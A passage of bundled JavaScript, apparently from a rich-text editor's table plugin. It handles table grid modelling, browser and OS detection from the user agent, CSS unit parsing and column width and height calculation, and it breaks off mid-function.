    const table = (element, isRoot) => closest$1(element, 'table', isRoot);
    const rows$1 = ancestor => firstLayer(ancestor, 'tr');
    const columnGroups = ancestor => table(ancestor).fold(constant([]), table => children(table, 'colgroup'));

    const fromRowsOrColGroups = (elems, getSection) => map$1(elems, row => {
      if (name(row) === 'colgroup') {
        const cells = map$1(columns$1(row), column => {
          const colspan = getAttrValue(column, 'span', 1);
          return detail(column, 1, colspan);
        });
        return rowdetail(row, cells, 'colgroup');
      } else {
        const cells = map$1(cells$1(row), cell => {
          const rowspan = getAttrValue(cell, 'rowspan', 1);
          const colspan = getAttrValue(cell, 'colspan', 1);
          return detail(cell, rowspan, colspan);
        });
        return rowdetail(row, cells, getSection(row));
      }
    });
    const getParentSection = group => parent(group).map(parent => {
      const parentName = name(parent);
      return isValidSection(parentName) ? parentName : 'tbody';
    }).getOr('tbody');
    const fromTable$1 = table => {
      const rows = rows$1(table);
      const columnGroups$1 = columnGroups(table);
      const elems = [
        ...columnGroups$1,
        ...rows
      ];
      return fromRowsOrColGroups(elems, getParentSection);
    };
    const fromPastedRows = (elems, section) => fromRowsOrColGroups(elems, () => section);

    const cached = f => {
      let called = false;
      let r;
      return (...args) => {
        if (!called) {
          called = true;
          r = f.apply(null, args);
        }
        return r;
      };
    };

    const DeviceType = (os, browser, userAgent, mediaMatch) => {
      const isiPad = os.isiOS() && /ipad/i.test(userAgent) === true;
      const isiPhone = os.isiOS() && !isiPad;
      const isMobile = os.isiOS() || os.isAndroid();
      const isTouch = isMobile || mediaMatch('(pointer:coarse)');
      const isTablet = isiPad || !isiPhone && isMobile && mediaMatch('(min-device-width:768px)');
      const isPhone = isiPhone || isMobile && !isTablet;
      const iOSwebview = browser.isSafari() && os.isiOS() && /safari/i.test(userAgent) === false;
      const isDesktop = !isPhone && !isTablet && !iOSwebview;
      return {
        isiPad: constant(isiPad),
        isiPhone: constant(isiPhone),
        isTablet: constant(isTablet),
        isPhone: constant(isPhone),
        isTouch: constant(isTouch),
        isAndroid: os.isAndroid,
        isiOS: os.isiOS,
        isWebView: constant(iOSwebview),
        isDesktop: constant(isDesktop)
      };
    };

    const firstMatch = (regexes, s) => {
      for (let i = 0; i < regexes.length; i++) {
        const x = regexes[i];
        if (x.test(s)) {
          return x;
        }
      }
      return undefined;
    };
    const find = (regexes, agent) => {
      const r = firstMatch(regexes, agent);
      if (!r) {
        return {
          major: 0,
          minor: 0
        };
      }
      const group = i => {
        return Number(agent.replace(r, '$' + i));
      };
      return nu$2(group(1), group(2));
    };
    const detect$5 = (versionRegexes, agent) => {
      const cleanedAgent = String(agent).toLowerCase();
      if (versionRegexes.length === 0) {
        return unknown$2();
      }
      return find(versionRegexes, cleanedAgent);
    };
    const unknown$2 = () => {
      return nu$2(0, 0);
    };
    const nu$2 = (major, minor) => {
      return {
        major,
        minor
      };
    };
    const Version = {
      nu: nu$2,
      detect: detect$5,
      unknown: unknown$2
    };

    const detectBrowser$1 = (browsers, userAgentData) => {
      return findMap(userAgentData.brands, uaBrand => {
        const lcBrand = uaBrand.brand.toLowerCase();
        return find$1(browsers, browser => {
          var _a;
          return lcBrand === ((_a = browser.brand) === null || _a === void 0 ? void 0 : _a.toLowerCase());
        }).map(info => ({
          current: info.name,
          version: Version.nu(parseInt(uaBrand.version, 10), 0)
        }));
      });
    };

    const detect$4 = (candidates, userAgent) => {
      const agent = String(userAgent).toLowerCase();
      return find$1(candidates, candidate => {
        return candidate.search(agent);
      });
    };
    const detectBrowser = (browsers, userAgent) => {
      return detect$4(browsers, userAgent).map(browser => {
        const version = Version.detect(browser.versionRegexes, userAgent);
        return {
          current: browser.name,
          version
        };
      });
    };
    const detectOs = (oses, userAgent) => {
      return detect$4(oses, userAgent).map(os => {
        const version = Version.detect(os.versionRegexes, userAgent);
        return {
          current: os.name,
          version
        };
      });
    };

    const normalVersionRegex = /.*?version\/\ ?([0-9]+)\.([0-9]+).*/;
    const checkContains = target => {
      return uastring => {
        return contains(uastring, target);
      };
    };
    const browsers = [
      {
        name: 'Edge',
        versionRegexes: [/.*?edge\/ ?([0-9]+)\.([0-9]+)$/],
        search: uastring => {
          return contains(uastring, 'edge/') && contains(uastring, 'chrome') && contains(uastring, 'safari') && contains(uastring, 'applewebkit');
        }
      },
      {
        name: 'Chromium',
        brand: 'Chromium',
        versionRegexes: [
          /.*?chrome\/([0-9]+)\.([0-9]+).*/,
          normalVersionRegex
        ],
        search: uastring => {
          return contains(uastring, 'chrome') && !contains(uastring, 'chromeframe');
        }
      },
      {
        name: 'IE',
        versionRegexes: [
          /.*?msie\ ?([0-9]+)\.([0-9]+).*/,
          /.*?rv:([0-9]+)\.([0-9]+).*/
        ],
        search: uastring => {
          return contains(uastring, 'msie') || contains(uastring, 'trident');
        }
      },
      {
        name: 'Opera',
        versionRegexes: [
          normalVersionRegex,
          /.*?opera\/([0-9]+)\.([0-9]+).*/
        ],
        search: checkContains('opera')
      },
      {
        name: 'Firefox',
        versionRegexes: [/.*?firefox\/\ ?([0-9]+)\.([0-9]+).*/],
        search: checkContains('firefox')
      },
      {
        name: 'Safari',
        versionRegexes: [
          normalVersionRegex,
          /.*?cpu os ([0-9]+)_([0-9]+).*/
        ],
        search: uastring => {
          return (contains(uastring, 'safari') || contains(uastring, 'mobile/')) && contains(uastring, 'applewebkit');
        }
      }
    ];
    const oses = [
      {
        name: 'Windows',
        search: checkContains('win'),
        versionRegexes: [/.*?windows\ nt\ ?([0-9]+)\.([0-9]+).*/]
      },
      {
        name: 'iOS',
        search: uastring => {
          return contains(uastring, 'iphone') || contains(uastring, 'ipad');
        },
        versionRegexes: [
          /.*?version\/\ ?([0-9]+)\.([0-9]+).*/,
          /.*cpu os ([0-9]+)_([0-9]+).*/,
          /.*cpu iphone os ([0-9]+)_([0-9]+).*/
        ]
      },
      {
        name: 'Android',
        search: checkContains('android'),
        versionRegexes: [/.*?android\ ?([0-9]+)\.([0-9]+).*/]
      },
      {
        name: 'macOS',
        search: checkContains('mac os x'),
        versionRegexes: [/.*?mac\ os\ x\ ?([0-9]+)_([0-9]+).*/]
      },
      {
        name: 'Linux',
        search: checkContains('linux'),
        versionRegexes: []
      },
      {
        name: 'Solaris',
        search: checkContains('sunos'),
        versionRegexes: []
      },
      {
        name: 'FreeBSD',
        search: checkContains('freebsd'),
        versionRegexes: []
      },
      {
        name: 'ChromeOS',
        search: checkContains('cros'),
        versionRegexes: [/.*?chrome\/([0-9]+)\.([0-9]+).*/]
      }
    ];
    const PlatformInfo = {
      browsers: constant(browsers),
      oses: constant(oses)
    };

    const edge = 'Edge';
    const chromium = 'Chromium';
    const ie = 'IE';
    const opera = 'Opera';
    const firefox = 'Firefox';
    const safari = 'Safari';
    const unknown$1 = () => {
      return nu$1({
        current: undefined,
        version: Version.unknown()
      });
    };
    const nu$1 = info => {
      const current = info.current;
      const version = info.version;
      const isBrowser = name => () => current === name;
      return {
        current,
        version,
        isEdge: isBrowser(edge),
        isChromium: isBrowser(chromium),
        isIE: isBrowser(ie),
        isOpera: isBrowser(opera),
        isFirefox: isBrowser(firefox),
        isSafari: isBrowser(safari)
      };
    };
    const Browser = {
      unknown: unknown$1,
      nu: nu$1,
      edge: constant(edge),
      chromium: constant(chromium),
      ie: constant(ie),
      opera: constant(opera),
      firefox: constant(firefox),
      safari: constant(safari)
    };

    const windows = 'Windows';
    const ios = 'iOS';
    const android = 'Android';
    const linux = 'Linux';
    const macos = 'macOS';
    const solaris = 'Solaris';
    const freebsd = 'FreeBSD';
    const chromeos = 'ChromeOS';
    const unknown = () => {
      return nu({
        current: undefined,
        version: Version.unknown()
      });
    };
    const nu = info => {
      const current = info.current;
      const version = info.version;
      const isOS = name => () => current === name;
      return {
        current,
        version,
        isWindows: isOS(windows),
        isiOS: isOS(ios),
        isAndroid: isOS(android),
        isMacOS: isOS(macos),
        isLinux: isOS(linux),
        isSolaris: isOS(solaris),
        isFreeBSD: isOS(freebsd),
        isChromeOS: isOS(chromeos)
      };
    };
    const OperatingSystem = {
      unknown,
      nu,
      windows: constant(windows),
      ios: constant(ios),
      android: constant(android),
      linux: constant(linux),
      macos: constant(macos),
      solaris: constant(solaris),
      freebsd: constant(freebsd),
      chromeos: constant(chromeos)
    };

    const detect$3 = (userAgent, userAgentDataOpt, mediaMatch) => {
      const browsers = PlatformInfo.browsers();
      const oses = PlatformInfo.oses();
      const browser = userAgentDataOpt.bind(userAgentData => detectBrowser$1(browsers, userAgentData)).orThunk(() => detectBrowser(browsers, userAgent)).fold(Browser.unknown, Browser.nu);
      const os = detectOs(oses, userAgent).fold(OperatingSystem.unknown, OperatingSystem.nu);
      const deviceType = DeviceType(os, browser, userAgent, mediaMatch);
      return {
        browser,
        os,
        deviceType
      };
    };
    const PlatformDetection = { detect: detect$3 };

    const mediaMatch = query => window.matchMedia(query).matches;
    let platform = cached(() => PlatformDetection.detect(navigator.userAgent, Optional.from(navigator.userAgentData), mediaMatch));
    const detect$2 = () => platform();

    const Dimension = (name, getOffset) => {
      const set = (element, h) => {
        if (!isNumber(h) && !h.match(/^[0-9]+$/)) {
          throw new Error(name + '.set accepts only positive integer values. Value was ' + h);
        }
        const dom = element.dom;
        if (isSupported(dom)) {
          dom.style[name] = h + 'px';
        }
      };
      const get = element => {
        const r = getOffset(element);
        if (r <= 0 || r === null) {
          const css = get$a(element, name);
          return parseFloat(css) || 0;
        }
        return r;
      };
      const getOuter = get;
      const aggregate = (element, properties) => foldl(properties, (acc, property) => {
        const val = get$a(element, property);
        const value = val === undefined ? 0 : parseInt(val, 10);
        return isNaN(value) ? acc : acc + value;
      }, 0);
      const max = (element, value, properties) => {
        const cumulativeInclusions = aggregate(element, properties);
        const absoluteMax = value > cumulativeInclusions ? value - cumulativeInclusions : 0;
        return absoluteMax;
      };
      return {
        set,
        get,
        getOuter,
        aggregate,
        max
      };
    };

    const toNumber = (px, fallback) => toFloat(px).getOr(fallback);
    const getProp = (element, name, fallback) => toNumber(get$a(element, name), fallback);
    const calcContentBoxSize = (element, size, upper, lower) => {
      const paddingUpper = getProp(element, `padding-${ upper }`, 0);
      const paddingLower = getProp(element, `padding-${ lower }`, 0);
      const borderUpper = getProp(element, `border-${ upper }-width`, 0);
      const borderLower = getProp(element, `border-${ lower }-width`, 0);
      return size - paddingUpper - paddingLower - borderUpper - borderLower;
    };
    const getCalculatedWidth = (element, boxSizing) => {
      const dom = element.dom;
      const width = dom.getBoundingClientRect().width || dom.offsetWidth;
      return boxSizing === 'border-box' ? width : calcContentBoxSize(element, width, 'left', 'right');
    };
    const getHeight$1 = element => getProp(element, 'height', element.dom.offsetHeight);
    const getWidth = element => getProp(element, 'width', element.dom.offsetWidth);
    const getInnerWidth = element => getCalculatedWidth(element, 'content-box');

    const api$2 = Dimension('width', element => element.dom.offsetWidth);
    const get$9 = element => api$2.get(element);
    const getOuter$2 = element => api$2.getOuter(element);
    const getInner = getInnerWidth;
    const getRuntime$1 = getWidth;

    const addCells = (gridRow, index, cells) => {
      const existingCells = gridRow.cells;
      const before = existingCells.slice(0, index);
      const after = existingCells.slice(index);
      const newCells = before.concat(cells).concat(after);
      return setCells(gridRow, newCells);
    };
    const addCell = (gridRow, index, cell) => addCells(gridRow, index, [cell]);
    const mutateCell = (gridRow, index, cell) => {
      const cells = gridRow.cells;
      cells[index] = cell;
    };
    const setCells = (gridRow, cells) => rowcells(gridRow.element, cells, gridRow.section, gridRow.isNew);
    const mapCells = (gridRow, f) => {
      const cells = gridRow.cells;
      const r = map$1(cells, f);
      return rowcells(gridRow.element, r, gridRow.section, gridRow.isNew);
    };
    const getCell = (gridRow, index) => gridRow.cells[index];
    const getCellElement = (gridRow, index) => getCell(gridRow, index).element;
    const cellLength = gridRow => gridRow.cells.length;
    const extractGridDetails = grid => {
      const result = partition(grid, row => row.section === 'colgroup');
      return {
        rows: result.fail,
        cols: result.pass
      };
    };
    const clone = (gridRow, cloneRow, cloneCell) => {
      const newCells = map$1(gridRow.cells, cloneCell);
      return rowcells(cloneRow(gridRow.element), newCells, gridRow.section, true);
    };

    const LOCKED_COL_ATTR = 'data-snooker-locked-cols';
    const getLockedColumnsFromTable = table => getOpt(table, LOCKED_COL_ATTR).bind(lockedColStr => Optional.from(lockedColStr.match(/\d+/g))).map(lockedCols => mapToObject(lockedCols, always));
    const getLockedColumnsFromGrid = grid => {
      const locked = foldl(extractGridDetails(grid).rows, (acc, row) => {
        each$2(row.cells, (cell, idx) => {
          if (cell.isLocked) {
            acc[idx] = true;
          }
        });
        return acc;
      }, {});
      const lockedArr = mapToArray(locked, (_val, key) => parseInt(key, 10));
      return sort$1(lockedArr);
    };

    const key = (row, column) => {
      return row + ',' + column;
    };
    const getAt = (warehouse, row, column) => Optional.from(warehouse.access[key(row, column)]);
    const findItem = (warehouse, item, comparator) => {
      const filtered = filterItems(warehouse, detail => {
        return comparator(item, detail.element);
      });
      return filtered.length > 0 ? Optional.some(filtered[0]) : Optional.none();
    };
    const filterItems = (warehouse, predicate) => {
      const all = bind$2(warehouse.all, r => {
        return r.cells;
      });
      return filter$2(all, predicate);
    };
    const generateColumns = rowData => {
      const columnsGroup = {};
      let index = 0;
      each$2(rowData.cells, column => {
        const colspan = column.colspan;
        range$1(colspan, columnIndex => {
          const colIndex = index + columnIndex;
          columnsGroup[colIndex] = columnext(column.element, colspan, colIndex);
        });
        index += colspan;
      });
      return columnsGroup;
    };
    const generate$1 = list => {
      const access = {};
      const cells = [];
      const tableOpt = head(list).map(rowData => rowData.element).bind(table);
      const lockedColumns = tableOpt.bind(getLockedColumnsFromTable).getOr({});
      let maxRows = 0;
      let maxColumns = 0;
      let rowCount = 0;
      const {
        pass: colgroupRows,
        fail: rows
      } = partition(list, rowData => rowData.section === 'colgroup');
      each$2(rows, rowData => {
        const currentRow = [];
        each$2(rowData.cells, rowCell => {
          let start = 0;
          while (access[key(rowCount, start)] !== undefined) {
            start++;
          }
          const isLocked = hasNonNullableKey(lockedColumns, start.toString());
          const current = extended(rowCell.element, rowCell.rowspan, rowCell.colspan, rowCount, start, isLocked);
          for (let occupiedColumnPosition = 0; occupiedColumnPosition < rowCell.colspan; occupiedColumnPosition++) {
            for (let occupiedRowPosition = 0; occupiedRowPosition < rowCell.rowspan; occupiedRowPosition++) {
              const rowPosition = rowCount + occupiedRowPosition;
              const columnPosition = start + occupiedColumnPosition;
              const newpos = key(rowPosition, columnPosition);
              access[newpos] = current;
              maxColumns = Math.max(maxColumns, columnPosition + 1);
            }
          }
          currentRow.push(current);
        });
        maxRows++;
        cells.push(rowdetail(rowData.element, currentRow, rowData.section));
        rowCount++;
      });
      const {columns, colgroups} = last$2(colgroupRows).map(rowData => {
        const columns = generateColumns(rowData);
        const colgroup$1 = colgroup(rowData.element, values(columns));
        return {
          colgroups: [colgroup$1],
          columns
        };
      }).getOrThunk(() => ({
        colgroups: [],
        columns: {}
      }));
      const grid$1 = grid(maxRows, maxColumns);
      return {
        grid: grid$1,
        access,
        all: cells,
        columns,
        colgroups
      };
    };
    const fromTable = table => {
      const list = fromTable$1(table);
      return generate$1(list);
    };
    const justCells = warehouse => bind$2(warehouse.all, w => w.cells);
    const justColumns = warehouse => values(warehouse.columns);
    const hasColumns = warehouse => keys(warehouse.columns).length > 0;
    const getColumnAt = (warehouse, columnIndex) => Optional.from(warehouse.columns[columnIndex]);
    const Warehouse = {
      fromTable,
      generate: generate$1,
      getAt,
      findItem,
      filterItems,
      justCells,
      justColumns,
      hasColumns,
      getColumnAt
    };

    const columns = (warehouse, isValidCell = always) => {
      const grid = warehouse.grid;
      const cols = range$1(grid.columns, identity);
      const rowsArr = range$1(grid.rows, identity);
      return map$1(cols, col => {
        const getBlock = () => bind$2(rowsArr, r => Warehouse.getAt(warehouse, r, col).filter(detail => detail.column === col).toArray());
        const isValid = detail => detail.colspan === 1 && isValidCell(detail.element);
        const getFallback = () => Warehouse.getAt(warehouse, 0, col);
        return decide(getBlock, isValid, getFallback);
      });
    };
    const decide = (getBlock, isValid, getFallback) => {
      const inBlock = getBlock();
      const validInBlock = find$1(inBlock, isValid);
      const detailOption = validInBlock.orThunk(() => Optional.from(inBlock[0]).orThunk(getFallback));
      return detailOption.map(detail => detail.element);
    };
    const rows = warehouse => {
      const grid = warehouse.grid;
      const rowsArr = range$1(grid.rows, identity);
      const cols = range$1(grid.columns, identity);
      return map$1(rowsArr, row => {
        const getBlock = () => bind$2(cols, c => Warehouse.getAt(warehouse, row, c).filter(detail => detail.row === row).fold(constant([]), detail => [detail]));
        const isSingle = detail => detail.rowspan === 1;
        const getFallback = () => Warehouse.getAt(warehouse, row, 0);
        return decide(getBlock, isSingle, getFallback);
      });
    };

    const deduce = (xs, index) => {
      if (index < 0 || index >= xs.length - 1) {
        return Optional.none();
      }
      const current = xs[index].fold(() => {
        const rest = reverse(xs.slice(0, index));
        return findMap(rest, (a, i) => a.map(aa => ({
          value: aa,
          delta: i + 1
        })));
      }, c => Optional.some({
        value: c,
        delta: 0
      }));
      const next = xs[index + 1].fold(() => {
        const rest = xs.slice(index + 1);
        return findMap(rest, (a, i) => a.map(aa => ({
          value: aa,
          delta: i + 1
        })));
      }, n => Optional.some({
        value: n,
        delta: 1
      }));
      return current.bind(c => next.map(n => {
        const extras = n.delta + c.delta;
        return Math.abs(n.value - c.value) / extras;
      }));
    };

    const onDirection = (isLtr, isRtl) => element => getDirection(element) === 'rtl' ? isRtl : isLtr;
    const getDirection = element => get$a(element, 'direction') === 'rtl' ? 'rtl' : 'ltr';

    const api$1 = Dimension('height', element => {
      const dom = element.dom;
      return inBody(element) ? dom.getBoundingClientRect().height : dom.offsetHeight;
    });
    const get$8 = element => api$1.get(element);
    const getOuter$1 = element => api$1.getOuter(element);
    const getRuntime = getHeight$1;

    const r = (left, top) => {
      const translate = (x, y) => r(left + x, top + y);
      return {
        left,
        top,
        translate
      };
    };
    const SugarPosition = r;

    const boxPosition = dom => {
      const box = dom.getBoundingClientRect();
      return SugarPosition(box.left, box.top);
    };
    const firstDefinedOrZero = (a, b) => {
      if (a !== undefined) {
        return a;
      } else {
        return b !== undefined ? b : 0;
      }
    };
    const absolute = element => {
      const doc = element.dom.ownerDocument;
      const body = doc.body;
      const win = doc.defaultView;
      const html = doc.documentElement;
      if (body === element.dom) {
        return SugarPosition(body.offsetLeft, body.offsetTop);
      }
      const scrollTop = firstDefinedOrZero(win === null || win === void 0 ? void 0 : win.pageYOffset, html.scrollTop);
      const scrollLeft = firstDefinedOrZero(win === null || win === void 0 ? void 0 : win.pageXOffset, html.scrollLeft);
      const clientTop = firstDefinedOrZero(html.clientTop, body.clientTop);
      const clientLeft = firstDefinedOrZero(html.clientLeft, body.clientLeft);
      return viewport(element).translate(scrollLeft - clientLeft, scrollTop - clientTop);
    };
    const viewport = element => {
      const dom = element.dom;
      const doc = dom.ownerDocument;
      const body = doc.body;
      if (body === dom) {
        return SugarPosition(body.offsetLeft, body.offsetTop);
      }
      if (!inBody(element)) {
        return SugarPosition(0, 0);
      }
      return boxPosition(dom);
    };

    const rowInfo = (row, y) => ({
      row,
      y
    });
    const colInfo = (col, x) => ({
      col,
      x
    });
    const rtlEdge = cell => {
      const pos = absolute(cell);
      return pos.left + getOuter$2(cell);
    };
    const ltrEdge = cell => {
      return absolute(cell).left;
    };
    const getLeftEdge = (index, cell) => {
      return colInfo(index, ltrEdge(cell));
    };
    const getRightEdge = (index, cell) => {
      return colInfo(index, rtlEdge(cell));
    };
    const getTop$1 = cell => {
      return absolute(cell).top;
    };
    const getTopEdge = (index, cell) => {
      return rowInfo(index, getTop$1(cell));
    };
    const getBottomEdge = (index, cell) => {
      return rowInfo(index, getTop$1(cell) + getOuter$1(cell));
    };
    const findPositions = (getInnerEdge, getOuterEdge, array) => {
      if (array.length === 0) {
        return [];
      }
      const lines = map$1(array.slice(1), (cellOption, index) => {
        return cellOption.map(cell => {
          return getInnerEdge(index, cell);
        });
      });
      const lastLine = array[array.length - 1].map(cell => {
        return getOuterEdge(array.length - 1, cell);
      });
      return lines.concat([lastLine]);
    };
    const negate = step => {
      return -step;
    };
    const height = {
      delta: identity,
      positions: optElements => findPositions(getTopEdge, getBottomEdge, optElements),
      edge: getTop$1
    };
    const ltr$1 = {
      delta: identity,
      edge: ltrEdge,
      positions: optElements => findPositions(getLeftEdge, getRightEdge, optElements)
    };
    const rtl$1 = {
      delta: negate,
      edge: rtlEdge,
      positions: optElements => findPositions(getRightEdge, getLeftEdge, optElements)
    };
    const detect$1 = onDirection(ltr$1, rtl$1);
    const width = {
      delta: (amount, table) => detect$1(table).delta(amount, table),
      positions: (cols, table) => detect$1(table).positions(cols, table),
      edge: cell => detect$1(cell).edge(cell)
    };

    const units = {
      unsupportedLength: [
        'em',
        'ex',
        'cap',
        'ch',
        'ic',
        'rem',
        'lh',
        'rlh',
        'vw',
        'vh',
        'vi',
        'vb',
        'vmin',
        'vmax',
        'cm',
        'mm',
        'Q',
        'in',
        'pc',
        'pt',
        'px'
      ],
      fixed: [
        'px',
        'pt'
      ],
      relative: ['%'],
      empty: ['']
    };
    const pattern = (() => {
      const decimalDigits = '[0-9]+';
      const signedInteger = '[+-]?' + decimalDigits;
      const exponentPart = '[eE]' + signedInteger;
      const dot = '\\.';
      const opt = input => `(?:${ input })?`;
      const unsignedDecimalLiteral = [
        'Infinity',
        decimalDigits + dot + opt(decimalDigits) + opt(exponentPart),
        dot + decimalDigits + opt(exponentPart),
        decimalDigits + opt(exponentPart)
      ].join('|');
      const float = `[+-]?(?:${ unsignedDecimalLiteral })`;
      return new RegExp(`^(${ float })(.*)$`);
    })();
    const isUnit = (unit, accepted) => exists(accepted, acc => exists(units[acc], check => unit === check));
    const parse = (input, accepted) => {
      const match = Optional.from(pattern.exec(input));
      return match.bind(array => {
        const value = Number(array[1]);
        const unitRaw = array[2];
        if (isUnit(unitRaw, accepted)) {
          return Optional.some({
            value,
            unit: unitRaw
          });
        } else {
          return Optional.none();
        }
      });
    };

    const rPercentageBasedSizeRegex = /(\d+(\.\d+)?)%/;
    const rPixelBasedSizeRegex = /(\d+(\.\d+)?)px|em/;
    const isCol$2 = isTag('col');
    const getPercentSize = (elm, outerGetter, innerGetter) => {
      const relativeParent = parentElement(elm).getOrThunk(() => getBody$1(owner(elm)));
      return outerGetter(elm) / innerGetter(relativeParent) * 100;
    };
    const setPixelWidth = (cell, amount) => {
      set$1(cell, 'width', amount + 'px');
    };
    const setPercentageWidth = (cell, amount) => {
      set$1(cell, 'width', amount + '%');
    };
    const setHeight = (cell, amount) => {
      set$1(cell, 'height', amount + 'px');
    };
    const getHeightValue = cell => getRuntime(cell) + 'px';
    const convert = (cell, number, getter, setter) => {
      const newSize = table(cell).map(table => {
        const total = getter(table);
        return Math.floor(number / 100 * total);
      }).getOr(number);
      setter(cell, newSize);
      return newSize;
    };
    const normalizePixelSize = (value, cell, getter, setter) => {
      const number = parseFloat(value);
      return endsWith(value, '%') && name(cell) !== 'table' ? convert(cell, number, getter, setter) : number;
    };
    const getTotalHeight = cell => {
      const value = getHeightValue(cell);
      if (!value) {
        return get$8(cell);
      }
      return normalizePixelSize(value, cell, get$8, setHeight);
    };
    const get$7 = (cell, type, f) => {
      const v = f(cell);
      const span = getSpan(cell, type);
      return v / span;
    };
    const getRaw$1 = (element, prop) => {
      return getRaw$2(element, prop).orThunk(() => {
        return getOpt(element, prop).map(val => val + 'px');
      });
    };
    const getRawWidth$1 = element => getRaw$1(element, 'width');
    const getRawHeight = element => getRaw$1(element, 'height');
    const getPercentageWidth = cell => getPercentSize(cell, get$9, getInner);
    const getPixelWidth$1 = cell => isCol$2(cell) ? get$9(cell) : getRuntime$1(cell);
    const getHeight = cell => {
      return get$7(cell, 'rowspan', getTotalHeight);
    };
    const getGenericWidth = cell => {
      const width = getRawWidth$1(cell);
      return width.bind(w => parse(w, [
        'fixed',
        'relative',
        'empty'
      ]));
    };
    const setGenericWidth = (cell, amount, unit) => {
      set$1(cell, 'width', amount + unit);
    };
    const getPixelTableWidth = table => get$9(table) + 'px';
    const getPercentTableWidth = table => getPercentSize(table, get$9, getInner) + '%';
    const isPercentSizing$1 = table => getRawWidth$1(table).exists(size => rPercentageBasedSizeRegex.test(size));
    const isPixelSizing$1 = table => getRawWidth$1(table).exists(size => rPixelBasedSizeRegex.test(size));
    const isNoneSizing$1 = table => getRawWidth$1(table).isNone();
    const percentageBasedSizeRegex = constant(rPercentageBasedSizeRegex);

    const isCol$1 = isTag('col');
    const getRawW = cell => {
      return getRawWidth$1(cell).getOrThunk(() => getPixelWidth$1(cell) + 'px');
    };
    const getRawH = cell => {
      return getRawHeight(cell).getOrThunk(() => getHeight(cell) + 'px');
    };
    const justCols = warehouse => map$1(Warehouse.justColumns(warehouse), column => Optional.from(column.element));
    const isValidColumn = cell => {
      const browser = detect$2().browser;
      const supportsColWidths = browser.isChromium() || browser.isFirefox();
      return isCol$1(cell) ? supportsColWidths : true;
    };
    const getDimension = (cellOpt, index, backups, filter, getter, fallback) => cellOpt.filter(filter).fold(() => fallback(deduce(backups, index)), cell => getter(cell));
    const getWidthFrom = (warehouse, table, getWidth, fallback) => {
      const columnCells = columns(warehouse);
      const columns$1 = Warehouse.hasColumns(warehouse) ? justCols(warehouse) : columnCells;
      const backups = [Optional.some(width.edge(table))].concat(map$1(width.positions(columnCells, table), pos => pos.map(p => p.x)));
      const colFilter = not(hasColspan);
      return map$1(columns$1, (cellOption, c) => {
        return getDimension(cellOption, c, backups, colFilter, column => {
          if (isValidColumn(column)) {
            return getWidth(column);
          } else {
            const cell = bindFrom(columnCells[c], identity);
            return getDimension(cell, c, backups, colFilter, cell => fallback(Optional.some(get$9(cell))), fallback);
          }
        }, fallback);
      });
    };
    const getDeduced = deduced => {
      return deduced.map(d => {
        return d + 'px';
      }).getOr('');
    };
    const getRawWidths = (warehouse, table) => {
      return getWidthFrom(warehouse, table, getRawW, getDeduced);
    };
    const getPercentageWidths = (warehouse, table, tableSize) => {
      return getWidthFrom(warehouse, table, getPercentageWidth, deduced => {
        return deduced.fold(() => {
          return tableSize.minCellWidth();
        }, cellWidth => {
          return cellWidth / tableSize.pixelWidth() * 100;
        });
      });
    };
    const getPixelWidths = (warehouse, table, tableSize) => {
      return getWidthFrom(warehouse, table, getPixelWidth$1, deduced => {
        return deduced.getOrThunk(tableSize.minCellWidth);
      });
    };
    const getHeightFrom = (warehouse, table, direction, getHeight, fallback) => {
      const rows$1 = rows(warehouse);
      const backups = [Optional.some(direction.edge(table))].concat(map$1(direction.positions(rows$1, table), pos => pos.map(p => p.y)));
      return map$1(rows$1, (cellOption, c) => {
        return getDimension(cellOption, c, backups, not(hasRowspan), getHeight, fallback);
      });
    };
    const getPixelHeights = (warehouse, table, direction) => {
      return getHeightFrom(warehouse, table, direction, getHeight, deduced => {
        return deduced.getOrThunk(minHeight);
      });
    };
    const getRawHeights = (warehouse, table, direction) => {
      return getHeightFrom(warehouse, table, direction, getRawH, getDeduced);
    };

    const widthLookup = (table, getter) => () => {
      if (inBody(table)) {
        return getter(table);
      } else {
        return parseFloat(getRaw$2(table, 'width').getOr('0'));
      }
    };
    const noneSize = table => {
      const getWidth = widthLookup(table, get$9);
      const zero = constant(0);
      const getWidths = (warehouse, tableSize) => getPixelWidths(warehouse, table, tableSize);
      return {
        width: getWidth,
        pixelWidth: getWidth,
        getWidths,
        getCellDelta: zero,
        singleColumnWidth: constant([0]),
        minCellWidth: zero,
        setElementWidth: noop,
        adjustTableWidth: noop,
        isRelative: true,
        label: 'none'
      };
    };
    const percentageSize = table => {
      const getFloatWidth = widthLookup(table, elem => parseFloat(getPercentTableWidth(elem)));
      const getWidth = widthLookup(table, get$9);
      const getCellDelta = delta => delta / getWidth() * 100;
      const singleColumnWidth = (w, _delta) => [100 - w];
      const minCellWidth = () => minWidth() / getWidth() * 100;
      const adjustTableWidth = delta => {
        const currentWidth = getFloatWidth();
        const change = delta / 100 * currentWidth;
        const newWidth = currentWidth + change;
        setPercentageWidth(table, newWidth);
      };
      const getWidths = (warehouse, tableSize) => getPercentageWidths(warehouse, table, tableSize);
      return {
        width: getFloatWidth,
        pixelWidth: getWidth,
        getWidths,
        getCellDelta,
        singleColumnWidth,
        minCellWidth,
        setElementWidth: setPercentageWidth,
        adjustTableWidth,
        isRelative: true,
        label: 'percent'
      };
    };
    const pixelSize = table => {
      const getWidth = widthLookup(table, get$9);
      const getCellDelta = identity;
      const singleColumnWidth = (w, delta) => {
        const newNext = Math.max(minWidth(), w + delta);
        return [newNext - w];
      };
      const adjustTableWidth = delta => {
        const newWidth = getWidth() + delta;
        setPixelWidth(table, newWidth);
      };
      const getWidths = (warehouse, tableSize) => getPixelWidths(warehouse, table, tableSize);
      return {
        width: getWidth,
        pixelWidth: getWidth,
        getWidths,
        getCellDelta,
        singleColumnWidth,
        minCellWidth: minWidth,
        setElementWidth: setPixelWidth,
        adjustTableWidth,
        isRelative: false,
        label: 'pixel'
      };
    };
    const chooseSize = (element, width) => {
      const percentMatch = percentageBasedSizeRegex().exec(width);
      if (percentMatch !== null) {
        return percentageSize(element);
      } else {
        return pixelSize(element);
      }
    };
    const getTableSize = table => {
      const width = getRawWidth$1(table);
      return width.fold(() => noneSize(table), w => chooseSize(table, w));
    };
    const TableSize = {
      getTableSize,
      pixelSize,
      percentageSize,
      noneSize
    };

    const statsStruct = (minRow, minCol, maxRow, maxCol, allCells, selectedCells) => ({
      minRow,
      minCol,
      maxRow,
      maxCol,
      allCells,
      selectedCells
    });
    const findSelectedStats = (house, isSelected) => {
      const totalColumns = house.grid.columns;
      const totalRows = house.grid.rows;
      let minRow = totalRows;
      let minCol = totalColumns;
      let maxRow = 0;
      let maxCol = 0;
      const allCells = [];
      const selectedCells = [];
      each$1(house.access, detail => {
